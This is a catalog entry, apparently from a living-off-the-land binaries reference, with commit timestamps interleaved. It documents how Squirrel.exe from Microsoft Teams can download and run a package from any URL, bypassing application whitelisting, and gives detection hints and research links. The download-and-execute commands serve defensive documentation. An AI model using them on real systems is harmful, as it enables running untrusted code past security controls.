2019-06-27 17:21:41 +02:00
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2019-06-27 17:12:23 +02:00
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Name: Squirrel.exe
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Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
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Author: 'Reegun J (OCBC Bank) - @reegun21'
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2021-01-10 16:04:52 +01:00
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Created: 2019-06-26
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2019-06-27 14:22:35 +02:00
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Commands:
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- Command: squirrel.exe --download [url to package]
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2019-06-27 17:12:23 +02:00
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Description: The above binary will go to url and look for RELEASES file and download the nuget package.
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2019-06-28 09:05:27 +02:00
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Usecase: Download binary
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Category: Download
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2019-06-27 17:12:23 +02:00
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Privileges: User
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2021-01-10 16:04:52 +01:00
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MitreID: T1218
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2019-06-27 17:12:23 +02:00
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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2019-06-28 09:05:27 +02:00
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- Command: squirrel.exe --update [url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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2019-06-27 14:22:35 +02:00
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Usecase: Download and execute binary
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Category: AWL Bypass
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2019-06-27 17:12:23 +02:00
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Privileges: User
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2019-06-27 14:22:35 +02:00
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MitreID: T1218
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2019-06-28 09:05:27 +02:00
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: squirrel.exe --update [url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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2019-06-27 14:22:35 +02:00
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Usecase: Download and execute binary
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2019-06-28 09:05:27 +02:00
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Category: Execute
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2019-06-27 17:12:23 +02:00
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Privileges: User
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2019-06-27 14:22:35 +02:00
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MitreID: T1218
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2019-06-27 17:12:23 +02:00
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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2019-07-02 09:06:19 +02:00
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- Command: squirrel.exe --updateRoolback=[url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
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Category: AWL Bypass
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: squirrel.exe --updateRollback=[url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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2019-06-27 14:22:35 +02:00
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Full_Path:
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2019-06-27 17:12:23 +02:00
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- Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2019-06-27 17:12:23 +02:00
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- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
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2021-01-10 16:04:52 +01:00
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Detection:
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2019-06-27 17:12:23 +02:00
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- IOC: Update.exe spawned an unknown process
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2019-06-27 14:22:35 +02:00
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Resources:
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2019-06-27 17:12:23 +02:00
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- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
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- Link: https://twitter.com/reegun21/status/1144182772623269889
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- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
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2019-06-28 08:48:41 +02:00
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- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
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2019-07-02 09:06:19 +02:00
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- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
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2019-06-27 17:12:23 +02:00
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Acknowledgement:
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2019-06-27 14:22:35 +02:00
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- Person: Reegun J (OCBC Bank)
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2019-06-27 17:12:23 +02:00
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Handle: '@reegun21'
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- Person: Adam
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Handle: '@Hexacorn'
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2019-06-27 14:22:35 +02:00
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---
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